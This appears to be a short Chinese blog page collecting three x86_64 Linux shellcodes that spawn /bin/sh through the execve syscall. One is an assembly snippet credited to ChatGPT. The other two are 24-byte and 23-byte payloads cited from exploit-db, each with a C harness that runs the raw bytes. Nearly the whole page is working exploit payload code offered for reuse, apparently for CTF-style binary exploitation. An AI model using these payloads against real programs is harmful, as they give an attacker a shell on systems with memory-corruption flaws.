Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

1

1
2
3
4
5
6
7
8
9
sc = asm("""
xor rsi, rsi
xor rdx, rdx
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
""")

来源:ChatGPT

2

24位的shellcode(来源:https://www.exploit-db.com/exploits/43550 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi
syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}

3

23位的shellcode(来源:https://www.exploit-db.com/exploits/36858 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
#
# Execve /bin/sh Shellcode Via Push (Linux x86_64 23 bytes)
#
# Dying to be the shortest.
#
# Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com)
#
# 27 April 2015
#
# GPL
#


.global _start
_start:
# char *const argv[]
xorl %esi, %esi

# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx

# for '\x00'
pushq %rsi

pushq %rbx

pushq %rsp
# const char *filename
popq %rdi

# __NR_execve 59
pushq $59
popq %rax

# char *const envp[]
xorl %edx, %edx

syscall
*/

/*
gcc -z execstack push64.c

uname -r
3.19.3-3-ARCH
*/

#include <stdio.h>
#include <string.h>

int
main(void)
{
char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

printf("strlen(shellcode)=%d\n", strlen(shellcode));

((void (*)(void))shellcode)();

return 0;
}